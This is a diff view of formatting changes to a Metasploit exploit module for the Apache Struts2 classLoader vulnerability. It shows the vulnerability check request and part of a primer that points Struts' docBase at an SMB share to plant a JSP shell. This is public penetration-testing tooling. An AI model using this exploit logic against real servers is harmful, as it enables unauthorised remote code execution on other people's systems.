1
1
##
2
- # This module requires Metasploit: http//metasploit.com/download
2
+ # This module requires Metasploit: http: //metasploit.com/download
3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
@@ -13,10 +13,10 @@ class Metasploit3 < Msf::Exploit::Remote
13
13
14
14
def initialize ( info = { } )
15
15
super ( update_info ( info ,
16
- 'Name' => 'Struts JSP Injection over HTTP' ,
16
+ 'Name' => 'Struts JSP Injection Over HTTP' ,
17
17
'Description' => %q{
18
- This module exploits the classLoader Apache Struts2
19
- vulnerability to inject a JSP shell over SMB.
18
+ This module exploits the classLoader Apache Struts2 vulnerability
19
+ to inject a JSP shell over SMB.
20
20
} ,
21
21
'Author' => [
22
22
'Matthew Hall <[email protected] >' ,
@@ -61,18 +61,18 @@ def check
61
61
uri = datastore [ 'URI' ] + '?Class.classLoader.resources.dirContext.cacheObjectMaxSize=x'
62
62
res = send_request_raw ( { 'uri' => uri } )
63
63
64
- if res and res . body =~ /No result defined for action/
64
+ if res and res . body =~ /No result defined for action/
65
65
return Exploit ::CheckCode ::Vulnerable
66
66
else
67
67
return Exploit ::CheckCode ::Unknown
68
68
end
69
69
end
70
70
71
- def primer
72
- self . file_contents = payload . encoded
71
+ def primer
72
+ self . file_contents = payload . encoded
73
73
print_status ( "File available on #{ unc } ..." )
74
74
share = "#{ unc } "
75
- sploit = datastore [ 'URI' ]
75
+ sploit = datastore [ 'URI' ]
76
76
share = share . gsub ( /\\ / , '/' )
77
77
#sploit << '?class.classLoader.resources.dirContext.docBase='
78
78
sploit << '?Class.classLoader.resources.dirContext.docBase='
0 commit comments